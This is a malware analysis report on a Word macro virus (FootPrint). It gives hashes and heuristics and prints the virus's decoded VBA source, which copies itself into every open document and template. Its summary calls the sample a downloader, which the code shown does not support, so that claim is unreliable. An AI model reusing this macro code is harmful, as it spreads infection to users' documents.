Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c354f8451ba438d8…

MALICIOUS

Office (OLE)

30.5 KB Created: 2001-10-05 09:09:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 721414c6c71faac42dd38bd038923fc6 SHA-1: 3396ba3a804b275819a549680795ba55719194bd SHA-256: c354f8451ba438d84f67fa1f2ebe20855c2fa8e2b6152674232b10eeb4636ee8
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains critical heuristics indicating the presence of VBA macros, specifically AutoOpen and Document_Open macros, which are commonly used to initiate malicious actions. The VBA script attempts to export its own code to 'c:\footprint.$$$' and then process it into 'c:\footprint.$$1', suggesting an attempt to obfuscate or modify its own execution flow. This behavior is consistent with a macro-based downloader designed to fetch and execute additional malware.

Heuristics 5

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2095 bytes
SHA-256: 064277e510336e298bc2dd889aebda5abc01de076823518f9e123f3cef9f8ee5
Detection
ClamAV: Doc.Trojan.FootPrint-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Option Explicit
Sub AutoOpen()
  If DateDiff("s", CDate(GetSetting("3BEPb", "Startup", "date", 0)), Time) > 300 Then
'FootPrint
Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
    If Not adoc.CustomDocumentProperties("FootPrint1") Then
        adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint1") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
NormalTemplate.Save
End Sub

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